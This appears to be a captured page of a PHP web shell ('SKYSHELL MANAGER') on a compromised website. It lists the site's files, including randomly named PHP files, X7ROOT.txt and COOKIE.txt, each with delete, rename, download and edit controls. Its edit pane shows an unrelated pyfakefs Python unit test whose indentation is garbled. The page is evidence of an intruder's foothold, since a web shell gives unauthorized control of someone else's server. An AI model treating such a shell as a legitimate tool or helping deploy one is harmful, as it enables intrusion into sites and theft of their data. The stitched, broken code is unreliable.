ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.2.30

Path:root/home/qooetu/costes.qooetu.com/

Name	Size	Perm	Actions
📁 .well-known	-	0755	🗑️ 🏷️
📁 2e19d9	-	0755	🗑️ 🏷️
📁 6b114	-	0755	🗑️ 🏷️
📁 Modules	-	0755	🗑️ 🏷️
📁 app	-	0755	🗑️ 🏷️
📁 assets	-	0755	🗑️ 🏷️
📁 bootstrap	-	0755	🗑️ 🏷️
📁 cgi-bin	-	0755	🗑️ 🏷️
📁 config	-	0755	🗑️ 🏷️
📁 css	-	0755	🗑️ 🏷️
📁 database	-	0755	🗑️ 🏷️
📁 images	-	0755	🗑️ 🏷️
📁 js	-	0755	🗑️ 🏷️
📁 nbproject	-	0755	🗑️ 🏷️
📁 public	-	0755	🗑️ 🏷️
📁 resources	-	0755	🗑️ 🏷️
📁 routes	-	0755	🗑️ 🏷️
📁 storage	-	0755	🗑️ 🏷️
📁 tests	-	0755	🗑️ 🏷️
📁 uploads	-	0755	🗑️ 🏷️
📁 vendor	-	0755	🗑️ 🏷️
📁 wp-admin	-	0755	🗑️ 🏷️
📁 wp-content	-	0755	🗑️ 🏷️
📁 wp-includes	-	0755	🗑️ 🏷️
📄 .htaccess	0.23 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 COOKIE.txt	0.2 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 X7ROOT.txt	0.27 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 defaults.php	1.29 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 engine.php	0 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 error_log	813.08 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 features.php	11.28 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 googlecfb82e09419fc0f6.html	0.05 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 index.php0	1.56 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 inputs.php	0.12 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 kurd.html	1.07 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 library.php	0 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 min.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 p.php	2.75 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 php.ini	0.04 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 product.php	1.78 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 qpmwztts.php	0.74 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 robots.txt	0.32 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 tovmbkwh.php	0.74 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 tyyffovi.php	0.74 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 veoxv.html	1.23 KB	0644	🗑️ 🏷️ ⬇️ ✏️

Edit: mox3_stubout_test.py

# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#      http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

"""Unit tests for mox3_stubout."""

import datetime
import math
import os
import unittest
from os import path

from pyfakefs import mox3_stubout
from pyfakefs.tests import mox3_stubout_example

class NoPanicMath:
    real_math = math

@staticmethod
    def fabs(_x):
        return 42

def __getattr__(self, name):
        """Forwards any unfaked calls to the standard module."""
        return getattr(self.real_math, name)

class ExistingPath:
    real_path = path

@staticmethod
    def exists(_path):
        return True

def __getattr__(self, name):
        """Forwards any unfaked calls to the standard module."""
        return getattr(self.real_path, name)

class GroundhogDate(datetime.date):
    @classmethod
    def today(cls):
        return datetime.date(1993, 2, 2)

class StubOutForTestingTest(unittest.TestCase):
    def setUp(self):
        super().setUp()
        self.stubber = mox3_stubout.StubOutForTesting()

def test_stubout_method_with_set(self):
        non_existing_path = "non_existing_path"
        self.assertFalse(mox3_stubout_example.check_if_exists(non_existing_path))
        self.stubber.set(os.path, "exists", lambda x: True)
        self.assertTrue(mox3_stubout_example.check_if_exists(non_existing_path))
        self.stubber.unset_all()
        self.assertFalse(mox3_stubout_example.check_if_exists(non_existing_path))

def test_stubout_class_with_set(self):
        self.assertGreater(mox3_stubout_example.tomorrow().year, 2000)

self.stubber.set(datetime, "date", GroundhogDate)
        self.assertEqual(mox3_stubout_example.tomorrow(), datetime.date(1993, 2, 3))

self.stubber.unset_all()
        self.assertGreater(mox3_stubout_example.tomorrow().year, 2000)

def test_stubout_module_with_set(self):
        self.assertEqual(10, mox3_stubout_example.fabs(-10))

self.stubber.set(mox3_stubout_example, "math", NoPanicMath)
        self.assertEqual(42, mox3_stubout_example.fabs(-10))

self.stubber.unset_all()
        self.assertEqual(10, mox3_stubout_example.fabs(-10))

def test_set_raise_if_unknown_attribute(self):
        self.assertRaises(
            AttributeError,
            self.stubber.set,
            os.path,
            "exists_not",
            lambda x: True,
        )
        self.assertRaises(
            AttributeError,
            self.stubber.set,
            datetime,
            "tomorrow",
            GroundhogDate,
        )
        self.assertRaises(
            AttributeError,
            self.stubber.set,
            mox3_stubout_example,
            "math1",
            NoPanicMath,
        )

def test_stubout_method_with_smart_set(self):
        non_existing_path = "non_existing_path"
        self.stubber.smart_set(os.path, "exists", lambda x: True)
        self.assertTrue(mox3_stubout_example.check_if_exists(non_existing_path))
        self.stubber.smart_unset_all()
        self.assertFalse(mox3_stubout_example.check_if_exists(non_existing_path))

def test_stubout_class_with_smart_set(self):
        self.stubber.smart_set(datetime, "date", GroundhogDate)
        self.assertEqual(mox3_stubout_example.tomorrow(), datetime.date(1993, 2, 3))

self.stubber.smart_unset_all()
        self.assertGreater(mox3_stubout_example.tomorrow().year, 2000)

def test_stubout_module_with_smart_set(self):
        self.assertEqual(10, mox3_stubout_example.fabs(-10))

self.stubber.smart_set(mox3_stubout_example, "math", NoPanicMath)
        self.assertEqual(42, mox3_stubout_example.fabs(-10))

self.stubber.smart_unset_all()
        self.assertEqual(10, mox3_stubout_example.fabs(-10))

def test_stubout_submodule_with_smart_set(self):
        # this one does not work with Set
        non_existing_path = "non_existing_path"
        self.assertFalse(mox3_stubout_example.check_if_exists(non_existing_path))
        self.stubber.smart_set(os, "path", ExistingPath)
        self.assertTrue(mox3_stubout_example.check_if_exists(non_existing_path))
        self.stubber.smart_unset_all()
        self.assertFalse(mox3_stubout_example.check_if_exists(non_existing_path))

def test_smart_set_raise_if_unknown_attribute(self):
        self.assertRaises(
            AttributeError,
            self.stubber.smart_set,
            os.path,
            "exists_not",
            lambda x: True,
        )
        self.assertRaises(
            AttributeError,
            self.stubber.smart_set,
            datetime,
            "tomorrow",
            GroundhogDate,
        )
        self.assertRaises(
            AttributeError,
            self.stubber.smart_set,
            mox3_stubout_example,
            "math1",
            NoPanicMath,
        )

if __name__ == "__main__":
    unittest.main()

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ PHP v8.2.30

Edit: mox3_stubout_test.py

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.2.30